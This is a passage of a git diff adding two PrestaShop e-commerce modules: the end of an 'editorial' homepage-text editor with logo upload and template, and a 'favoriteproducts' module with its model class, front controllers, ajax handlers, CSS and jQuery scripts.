(`id_editorial`)) + ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'); + + if ($res) + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'editorial_lang` ( + `id_editorial` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `body_title` varchar(255) NOT NULL, + `body_subheading` varchar(255) NOT NULL, + `body_paragraph` text NOT NULL, + `body_logo_subheading` varchar(255) NOT NULL, + PRIMARY KEY (`id_editorial`, `id_lang`)) + ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'); + + + if ($res) + foreach + (Shop::getShops(false) as $shop) + $res &= $this->createExampleEditorial($shop['id_shop']); + + if (!$res) + $res &= $this->uninstall(); + + return $res; + } + + private function createExampleEditorial($id_shop) + { + $editorial = new EditorialClass(); + $editorial->id_shop = (int)$id_shop; + $editorial->body_home_logo_link = 'http://www.prestashop.com'; + foreach (Language::getLanguages(false) as $lang) + { + $editorial->body_title[$lang['id_lang']] = 'Lorem ipsum dolor sit amet'; + $editorial->body_subheading[$lang['id_lang']] = 'Excepteur sint occaecat cupidatat non proident'; + $editorial->body_paragraph[$lang['id_lang']] = '

          Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

          '; + $editorial->body_logo_subheading[$lang['id_lang']] = 'Lorem ipsum presta shop amet'; + } + return $editorial->add(); + } + + public function uninstall() + { + $res = Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'editorial`'); + $res &= Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'editorial_lang`'); + + if (!$res || !parent::uninstall()) + return false; + + return true; + } + + private function initForm() + { + $languages = Language::getLanguages(false); + foreach ($languages as $k => $language) + $languages[$k]['is_default'] = (int)($language['id_lang'] == Configuration::get('PS_LANG_DEFAULT')); + + $helper = new HelperForm(); + $helper->module = $this; + $helper->name_controller = 'editorial'; + $helper->identifier = $this->identifier; + $helper->token = Tools::getAdminTokenLite('AdminModules'); + $helper->languages = $languages; + $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name; + $helper->default_form_language = (int)Configuration::get('PS_LANG_DEFAULT'); + $helper->allow_employee_form_lang = true; + $helper->toolbar_scroll = true; + $helper->toolbar_btn = $this->initToolbar(); + $helper->title = $this->displayName; + $helper->submit_action = 'submitUpdateEditorial'; + + $this->fields_form[0]['form'] = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->displayName, + 'image' => $this->_path.'logo.gif' + ), + 'submit' => array( + 'name' => 'submitUpdateEditorial', + 'title' => $this->l('Save '), + 'class' => 'button' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Main title'), + 'name' => 'body_title', + 'lang' => true, + 'size' => 64, + 'hint' => $this->l('Appears along top of your homepage'), + ), + array( + 'type' => 'text', + 'label' => $this->l('Subheading'), + 'name' => 'body_subheading', + 'lang' => true, + 'size' => 64, + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Introductory text'), + 'name' => 'body_paragraph', + 'lang' => true, + 'autoload_rte' => true, + 'hint' => $this->l('For example... explain your mission, highlight a new product, or describe a recent event.'), + 'cols' => 60, + 'rows' => 30 + ), + array( + 'type' => 'file', + 'label' => $this->l('Homepage logo'), + 'name' => 'body_homepage_logo', + 'display_image' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('Homepage logo link'), + 'name' => 'body_home_logo_link', + 'size' => 33, + ), + array( + 'type' => 'text', + 'label' => $this->l('Homepage logo subheading'), + 'name' => 'body_logo_subheading', + 'lang' => true, + 'size' => 33, + ), + ) + ); + return $helper; + } + + private function initToolbar() + { + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + + return $this->toolbar_btn; + } + + public function getContent() + { + $this->_html = ''; + $this->postProcess(); + + $helper = $this->initForm(); + + $id_shop = (int)$this->context->shop->id; + $editorial = EditorialClass::getByIdShop($id_shop); + + if (!$editorial) //if editorial ddo not exist for this shop => create a new example one + $this->createExampleEditorial($id_shop); + + foreach ($this->fields_form[0]['form']['input'] as $input) //fill all form fields + if ($input['name'] != 'body_homepage_logo') + $helper->fields_value[$input['name']] = $editorial->{$input['name']}; + + $helper->fields_value['image'] = (file_exists(dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg') ? '' : ''); + if ($helper->fields_value['image']) + $helper->fields_value['size'] = filesize(dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg') / 1000; + + $this->_html .= $helper->generateForm($this->fields_form); + return $this->_html; + } + + public function postProcess() + { + $errors = ''; + $id_shop = (int)$this->context->shop->id; + // Delete logo image + if (Tools::isSubmit('deleteImage')) + { + if (!file_exists(dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg')) + $errors .= $this->displayError($this->l('This action cannot be made.')); + else + { + unlink(dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg'); + Configuration::updateValue('EDITORIAL_IMAGE_DISABLE', 1); + $this->_clearCache('editorial.tpl'); + Tools::redirectAdmin('index.php?tab=AdminModules&configure='.$this->name.'&token='.Tools::getAdminToken('AdminModules'.(int)(Tab::getIdFromClassName('AdminModules')).(int)$this->context->employee->id)); + } + $this->_html .= $errors; + } + + if (Tools::isSubmit('submitUpdateEditorial')) + { + $id_shop = (int)$this->context->shop->id; + $editorial = EditorialClass::getByIdShop($id_shop); + $editorial->copyFromPost(); + $editorial->update(); + + /* upload the image */ + if (isset($_FILES['body_homepage_logo']) && isset($_FILES['body_homepage_logo']['tmp_name']) && !empty($_FILES['body_homepage_logo']['tmp_name'])) + { + Configuration::set('PS_IMAGE_GENERATION_METHOD', 1); + if (file_exists(dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg')) + unlink(dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg'); + if ($error = ImageManager::validateUpload($_FILES['body_homepage_logo'])) + $errors .= $error; + elseif (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES['body_homepage_logo']['tmp_name'], $tmpName)) + return false; + elseif (!ImageManager::resize($tmpName, dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg')) + $errors .= $this->displayError($this->l('An error occurred while attempting to upload the image.')); + if (isset($tmpName)) + unlink($tmpName); + } + $this->_html .= $errors == '' ? $this->displayConfirmation($this->l('Settings updated successfully.')) : $errors; + if (file_exists(dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg')) + { + list($width, $height, $type, $attr) = getimagesize(dirname(__FILE__).'/homepage_logo_'.(int)$id_shop.'.jpg'); + Configuration::updateValue('EDITORIAL_IMAGE_WIDTH', (int)round($width)); + Configuration::updateValue('EDITORIAL_IMAGE_HEIGHT', (int)round($height)); + Configuration::updateValue('EDITORIAL_IMAGE_DISABLE', 0); + } + $this->_clearCache('editorial.tpl'); + } + } + + public function hookDisplayHome($params) + { + if (!$this->isCached('editorial.tpl', $this->getCacheId())) + { + $id_shop = (int)$this->context->shop->id; + $editorial = EditorialClass::getByIdShop($id_shop); + if (!$editorial) + return; + $editorial = new EditorialClass((int)$editorial->id, $this->context->language->id); + if (!$editorial) + return; + $this->smarty->assign(array( + 'editorial' => $editorial, + 'default_lang' => (int)$this->context->language->id, + 'image_width' => Configuration::get('EDITORIAL_IMAGE_WIDTH'), + 'image_height' => Configuration::get('EDITORIAL_IMAGE_HEIGHT'), + 'id_lang' => $this->context->language->id, + 'homepage_logo' => !Configuration::get('EDITORIAL_IMAGE_DISABLE') && file_exists('modules/editorial/homepage_logo_'.(int)$id_shop.'.jpg'), + 'image_path' => $this->_path.'homepage_logo_'.(int)$id_shop.'.jpg' + )); + } + return $this->display(__FILE__, 'editorial.tpl', $this->getCacheId()); + } + + public function hookDisplayHeader() + { + $this->context->controller->addCSS(($this->_path).'editorial.css', 'all'); + } +} diff --git a/modules/editorial/editorial.tpl b/modules/editorial/editorial.tpl new file mode 100755 index 0000000..00cea23 --- /dev/null +++ b/modules/editorial/editorial.tpl @@ -0,0 +1,36 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
          + {if $editorial->body_home_logo_link}{/if} + {if $homepage_logo}{$editorial->body_title|escape:'htmlall':'UTF-8'|stripslashes}{/if} + {if $editorial->body_home_logo_link}{/if} + {if $editorial->body_logo_subheading}

          {$editorial->body_logo_subheading|stripslashes}

          {/if} + {if $editorial->body_title}

          {$editorial->body_title|stripslashes}

          {/if} + {if $editorial->body_subheading}

          {$editorial->body_subheading|stripslashes}

          {/if} + {if $editorial->body_paragraph}
          {$editorial->body_paragraph|stripslashes}
          {/if} +
          + diff --git a/modules/editorial/homepage_logo_1.jpg b/modules/editorial/homepage_logo_1.jpg new file mode 100755 index 0000000..38a7b65 Binary files /dev/null and b/modules/editorial/homepage_logo_1.jpg differ diff --git a/modules/editorial/index.php b/modules/editorial/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/editorial/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/editorial/logo.gif b/modules/editorial/logo.gif new file mode 100755 index 0000000..fa26b20 Binary files /dev/null and b/modules/editorial/logo.gif differ diff --git a/modules/editorial/logo.png b/modules/editorial/logo.png new file mode 100755 index 0000000..382ab1d Binary files /dev/null and b/modules/editorial/logo.png differ diff --git a/modules/editorial/translations/fr.php b/modules/editorial/translations/fr.php new file mode 100755 index 0000000..960014f --- /dev/null +++ b/modules/editorial/translations/fr.php @@ -0,0 +1,20 @@ +editorial_a46dcd3561c3feeb53903dfc0f796a35'] = 'Editeur de page d\'accueil'; +$_MODULE['<{editorial}prestashop>editorial_48b5a6f8c5a4e81cd8eb07678a981649'] = 'Un éditeur de texte pour votre page d\'accueil.'; +$_MODULE['<{editorial}prestashop>editorial_5db205c79efd29b0e4f52d0c1ff45d20'] = 'Sauvegarder'; +$_MODULE['<{editorial}prestashop>editorial_0245625ee10f9c6c0ed7f50eb1838856'] = 'Titre principal'; +$_MODULE['<{editorial}prestashop>editorial_4fb7f07fcf38a6401743822ade34e782'] = 'Apparaît en haut de la page d\'accueil'; +$_MODULE['<{editorial}prestashop>editorial_e1f46be647e598f00eeb0ab62561d695'] = 'Pré-en-tête'; +$_MODULE['<{editorial}prestashop>editorial_bf75f228011d1443c4ea7aca23c3cff2'] = 'Texte d\'introduction'; +$_MODULE['<{editorial}prestashop>editorial_617f7661941abbf06f773fcb10031c7a'] = 'Texte d\'introduction de votre choix ; expliquez par exemple ce que vous vendez, mettez en avant un produit, ou racontez un évènement récent.'; +$_MODULE['<{editorial}prestashop>editorial_78587f196180054fcb797d40f4a86f10'] = 'Logo de la page d\'accueil'; +$_MODULE['<{editorial}prestashop>editorial_28d74ee805e3a162047d8f917b74dcb3'] = 'Lien de l\'image'; +$_MODULE['<{editorial}prestashop>editorial_98039e8f2a0d93fc0fff503f9166f59b'] = 'Sous-titre de l\'image'; +$_MODULE['<{editorial}prestashop>editorial_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{editorial}prestashop>editorial_2563cfff94f1447b53116f3089940125'] = 'Vous ne pouvez pas effectuer cette action.'; +$_MODULE['<{editorial}prestashop>editorial_5526efd7014a00a73115bcf90883d968'] = 'Une erreur est survenue lors de l\'upload de l\'image.'; +$_MODULE['<{editorial}prestashop>editorial_8dd2f915acf4ec98006d11c9a4b0945b'] = 'Paramètres mis à jour avec succès'; diff --git a/modules/editorial/translations/index.php b/modules/editorial/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/editorial/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/FavoriteProduct.php b/modules/favoriteproducts/FavoriteProduct.php new file mode 100755 index 0000000..f4ddaec --- /dev/null +++ b/modules/favoriteproducts/FavoriteProduct.php @@ -0,0 +1,111 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FavoriteProduct extends ObjectModel +{ + public $id; + + public $id_product; + + public $id_customer; + + public $id_shop; + + public $date_add; + + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'favorite_product', + 'primary' => 'id_favorite_product', + 'fields' => array( + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + public static function getFavoriteProducts($id_customer, $id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT p.`id_product`, fp.`id_shop`, pl.`description_short`, pl.`link_rewrite`, + pl.`name`, i.`id_image`, CONCAT(p.`id_product`, \'-\', i.`id_image`) as image + FROM `'._DB_PREFIX_.'favorite_product` fp + LEFT JOIN `'._DB_PREFIX_.'product` p ON (p.`id_product` = fp.`id_product`) + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang + .Shop::addSqlRestrictionOnLang('pl').' + LEFT OUTER JOIN `'._DB_PREFIX_.'product_attribute` pa ON (p.`id_product` = pa.`id_product`) + '.Shop::addSqlAssociation('product_attribute', 'pa', false).' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product` AND i.`cover` = 1) + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + WHERE product_shop.`active` = 1 + '.($id_customer ? ' AND fp.id_customer = '.(int)$id_customer : '').' + '.Shop::addSqlRestriction(false, 'fp') + ); + } + + public static function getFavoriteProduct($id_customer, $id_product, Shop $shop = null) + { + if (!$shop) + $shop = Context::getContext()->shop; + + $id_favorite_product = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_favorite_product` + FROM `'._DB_PREFIX_.'favorite_product` + WHERE `id_customer` = '.(int)$id_customer.' + AND `id_product` = '.(int)$id_product.' + AND `id_shop` = '.(int)$shop->id + ); + + if ($id_favorite_product) + return new FavoriteProduct($id_favorite_product); + return null; + } + + public static function isCustomerFavoriteProduct($id_customer, $id_product, Shop $shop = null) + { + if (!$id_customer) + return false; + + if (!$shop) + $shop = Context::getContext()->shop; + + return (bool)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'favorite_product` + WHERE `id_customer` = '.(int)$id_customer.' + AND `id_product` = '.(int)$id_product.' + AND `id_shop` = '.(int)$shop->id); + } +} diff --git a/modules/favoriteproducts/controllers/front/account.php b/modules/favoriteproducts/controllers/front/account.php new file mode 100755 index 0000000..043141a --- /dev/null +++ b/modules/favoriteproducts/controllers/front/account.php @@ -0,0 +1,54 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class FavoriteproductsAccountModuleFrontController extends ModuleFrontController +{ + public $ssl = true; + + public function init() + { + parent::init(); + + require_once($this->module->getLocalPath().'FavoriteProduct.php'); + } + + public function initContent() + { + parent::initContent(); + + if (!Context::getContext()->customer->isLogged()) + Tools::redirect('index.php?controller=authentication&redirect=module&module=favoriteproducts&action=account'); + + if (Context::getContext()->customer->id) + { + $this->context->smarty->assign('favoriteProducts', FavoriteProduct::getFavoriteProducts((int)Context::getContext()->customer->id, (int)Context::getContext()->language->id)); + $this->setTemplate('favoriteproducts-account.tpl'); + } + } +} \ No newline at end of file diff --git a/modules/favoriteproducts/controllers/front/actions.php b/modules/favoriteproducts/controllers/front/actions.php new file mode 100755 index 0000000..55ab8a2 --- /dev/null +++ b/modules/favoriteproducts/controllers/front/actions.php @@ -0,0 +1,87 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class FavoriteproductsActionsModuleFrontController extends ModuleFrontController +{ + /** + * @var int + */ + public $id_product; + + public function init() + { + parent::init(); + + require_once($this->module->getLocalPath().'FavoriteProduct.php'); + $this->id_product = (int)Tools::getValue('id_product'); + } + + public function postProcess() + { + if (Tools::getValue('process') == 'remove') + $this->processRemove(); + else if (Tools::getValue('process') == 'add') + $this->processAdd(); + exit; + } + + /** + * Remove a favorite product + */ + public function processRemove() + { + // check if product exists + $product = new Product($this->id_product); + if (!Validate::isLoadedObject($product)) + die('0'); + + $favorite_product = FavoriteProduct::getFavoriteProduct((int)Context::getContext()->cookie->id_customer, (int)$product->id); + if ($favorite_product && $favorite_product->delete()) + die('0'); + die(1); + } + + /** + * Add a favorite product + */ + public function processAdd() + { + $product = new Product($this->id_product); + // check if product exists + if (!Validate::isLoadedObject($product) || FavoriteProduct::isCustomerFavoriteProduct((int)Context::getContext()->cookie->id_customer, (int)$product->id)) + die('1'); + $favorite_product = new FavoriteProduct(); + $favorite_product->id_product = $product->id; + $favorite_product->id_customer = (int)Context::getContext()->cookie->id_customer; + $favorite_product->id_shop = (int)Context::getContext()->shop->id; + if ($favorite_product->add()) + die('0'); + die(1); + } +} \ No newline at end of file diff --git a/modules/favoriteproducts/controllers/front/index.php b/modules/favoriteproducts/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/controllers/index.php b/modules/favoriteproducts/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/favoriteproducts/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/favoriteproducts/favoriteproducts-account.php b/modules/favoriteproducts/favoriteproducts-account.php new file mode 100755 index 0000000..9b78859 --- /dev/null +++ b/modules/favoriteproducts/favoriteproducts-account.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0 This file is deprecated, use moduleFrontController instead + */ + +/* SSL Management */ +$useSSL = true; + +require('../../config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +// init front controller in order to use Tools::redirect +$controller = new FrontController(); +$controller->init(); + +Tools::redirect(Context::getContext()->link->getModuleLink('favoriteproducts', 'account')); \ No newline at end of file diff --git a/modules/favoriteproducts/favoriteproducts-ajax.php b/modules/favoriteproducts/favoriteproducts-ajax.php new file mode 100755 index 0000000..cfc3953 --- /dev/null +++ b/modules/favoriteproducts/favoriteproducts-ajax.php @@ -0,0 +1,65 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0 This file is deprecated, use moduleFrontController instead + */ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); +include(dirname(__FILE__).'/FavoriteProduct.php'); + +if (Tools::getValue('action') && Tools::getValue('id_product') && Context::getContext()->cookie->id_customer) +{ + if (Tools::getValue('action') == 'remove') + { + // check if product exists + $product = new Product((int)Tools::getValue('id_product')); + if (!Validate::isLoadedObject($product)) + die('0'); + $favorite_product = FavoriteProduct::getFavoriteProduct((int)Context::getContext()->cookie->id_customer, (int)$product->id); + if ($favorite_product) + if ($favorite_product->delete()) + die('0'); + } + elseif (Tools::getValue('action') == 'add') + { + $product = new Product((int)Tools::getValue('id_product')); + // check if product exists + if (!Validate::isLoadedObject($product) + || FavoriteProduct::isCustomerFavoriteProduct((int)Context::getContext()->cookie->id_customer, (int)$product->id)) + die('1'); + $favorite_product = new FavoriteProduct(); + $favorite_product->id_product = $product->id; + $favorite_product->id_customer = (int)Context::getContext()->cookie->id_customer; + $favorite_product->id_shop = (int)Context::getContext()->shop->id; + if ($favorite_product->add()) + die('0'); + } +} + +die('1'); + diff --git a/modules/favoriteproducts/favoriteproducts.css b/modules/favoriteproducts/favoriteproducts.css new file mode 100755 index 0000000..bb93b7e --- /dev/null +++ b/modules/favoriteproducts/favoriteproducts.css @@ -0,0 +1,66 @@ +#module-favoriteproducts-account #left_column {display:none} +#module-favoriteproducts-account #center_column {width:757px} + +#favoriteproducts_block_account .favoriteproduct { + position:relative; + margin-bottom: 14px; + padding: 12px 8px; + border: 1px solid #eee; + border-radius: 3px 3px 3px 3px; +} + +.favoriteproduct a.product_img_link { + border: 1px solid #CCCCCC; + display: block; + float: left; + margin-right: 14px; + overflow: hidden; + position: relative; +} + +.favoriteproduct h3 { + color: #000000; + font-size: 13px; + padding: 0 0 10px; +} + +.favoriteproduct p.product_desc { + line-height: 16px; + overflow: hidden; + padding: 0; +} + +.favoriteproduct .remove { + position:absolute; + top:10px; + right:10px +} +.favoriteproduct .remove .icon {cursor:pointer} + + +/* lnk fiche produit */ + +#usefull_link_block li#favoriteproducts_block_extra_add { + padding-left:20px; + background:url(img/add_favorite.gif) no-repeat 0 0; + cursor: pointer; +} + +#usefull_link_block li#favoriteproducts_block_extra_remove { + padding-left:20px; + background:url(img/del_favorite.gif) no-repeat 0 0; + cursor: pointer; +} + +ul#usefull_link_block li#favoriteproducts_block_extra_added { + padding-left:20px; + background:url(img/add_favorite.gif) no-repeat 0 0; + cursor: pointer; + display: none; +} +ul#usefull_link_block li#favoriteproducts_block_extra_removed { + padding-left:20px; + background:url(img/add_favorite.gif) no-repeat 0 0; + cursor: pointer; + display: none; +} \ No newline at end of file diff --git a/modules/favoriteproducts/favoriteproducts.js b/modules/favoriteproducts/favoriteproducts.js new file mode 100755 index 0000000..ae490fd --- /dev/null +++ b/modules/favoriteproducts/favoriteproducts.js @@ -0,0 +1,78 @@ +$('document').ready(function(){ + $('#favoriteproducts_block_extra_add').click(function(){ + $.ajax({ + url: favorite_products_url_add + '&rand=' + new Date().getTime(), + type: "POST", + headers: { "cache-control": "no-cache" }, + data: { + "id_product": favorite_products_id_product + }, + success: function(result){ + if (result == '0') + { + $('#favoriteproducts_block_extra_add').slideUp(function() { + $('#favoriteproducts_block_extra_added').slideDown("slow"); + }); + + } + } + }); + }); + $('#favoriteproducts_block_extra_remove').click(function(){ + $.ajax({ + url: favorite_products_url_remove + '&rand=' + new Date().getTime(), + type: "POST", + headers: { "cache-control": "no-cache" }, + data: { + "id_product": favorite_products_id_product + }, + success: function(result){ + if (result == '0') + { + $('#favoriteproducts_block_extra_remove').slideUp(function() { + $('#favoriteproducts_block_extra_removed').slideDown("slow"); + }); + + } + } + }); + }); + $('#favoriteproducts_block_extra_added').click(function(){ + $.ajax({ + url: favorite_products_url_remove + '&rand=' + new Date().getTime(), + type: "POST", + headers: { "cache-control": "no-cache" }, + data: { + "id_product": favorite_products_id_product + }, + success: function(result){ + if (result == '0') + { + $('#favoriteproducts_block_extra_added').slideUp(function() { + $('#favoriteproducts_block_extra_removed').slideDown("slow"); + }); + + } + } + }); + }); + $('#favoriteproducts_block_extra_removed').click(function(){ + $.ajax({ + url: favorite_products_url_add + '&rand=' + new Date().getTime(), + type: "POST", + headers: { "cache-control": "no-cache" }, + data: { + "id_product": favorite_products_id_product + }, + success: function(result){ + if (result == '0') + { + $('#favoriteproducts_block_extra_removed').slideUp(function() { + $('#favoriteproducts_block_extra_added').slideDown("slow"); + }); + + } + } + }); + }); +}) \ No newline at end of file diff --git a/modules/favoriteproducts/favoriteproducts.php b/modules/favoriteproducts/favoriteproducts.php new file mode 100755 index 0000000..35a3972 --- /dev/null +++ b/modules/favoriteproducts/favoriteproducts.php @@ -0,0 +1,110 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +class FavoriteProducts extends Module +{ + public function __construct() + { + $this->name = 'favoriteproducts'; + $this->tab = 'front_office_features'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Favorite Products'); + $this->description = $this->l('Display a page featuring the customer\'s favorite products.'); + } + + public function install() + { + if (!parent::install() + || !$this->registerHook('displayMyAccountBlock') + || !$this->registerHook('displayCustomerAccount') + || !$this->registerHook('displayLeftColumnProduct') + || !$this->registerHook('extraLeft') + || !$this->registerHook('displayHeader')) + return false; + + if (!Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'favorite_product` ( + `id_favorite_product` int(10) unsigned NOT NULL auto_increment, + `id_product` int(10) unsigned NOT NULL, + `id_customer` int(10) unsigned NOT NULL, + `id_shop` int(10) unsigned NOT NULL, + `date_add` datetime NOT NULL, + `date_upd` datetime NOT NULL, + PRIMARY KEY (`id_favorite_product`)) + ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8')) + return false; + + return true; + } + + public function uninstall() + { + if (!parent::uninstall() || !Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'favorite_product`')) + return false; + return true; + } + + public function hookDisplayCustomerAccount($params) + { + $this->smarty->assign('in_footer', false); + return $this->display(__FILE__, 'my-account.tpl'); + } + + public function hookDisplayMyAccountBlock($params) + { + $this->smarty->assign('in_footer', true); + return $this->display(__FILE__, 'my-account.tpl'); + } + + public function hookDisplayLeftColumnProduct($params) + { + include_once(dirname(__FILE__).'/FavoriteProduct.php'); + + $this->smarty->assign(array( + 'isCustomerFavoriteProduct' => (FavoriteProduct::isCustomerFavoriteProduct($this->context->customer->id, Tools::getValue('id_product')) ? 1 : 0), + 'isLogged' => (int)$this->context->customer->logged, + )); + return $this->display(__FILE__, 'favoriteproducts-extra.tpl'); + } + + public function hookDisplayHeader($params) + { + $this->context->controller->addCSS($this->_path.'favoriteproducts.css', 'all'); + $this->context->controller->addJS($this->_path.'favoriteproducts.js'); + return $this->display(__FILE__, 'favoriteproducts-header.tpl'); + } + +} + + diff --git a/modules/favoriteproducts/img/add_favorite.gif b/modules/favoriteproducts/img/add_favorite.gif new file mode 100755 index 0000000..8b0b263 Binary files /dev/null and b/modules/favoriteproducts/img/add_favorite.gif differ diff --git a/modules/favoriteproducts/img/del_favorite.gif b/modules/favoriteproducts/img/del_favorite.gif new file mode 100755 index 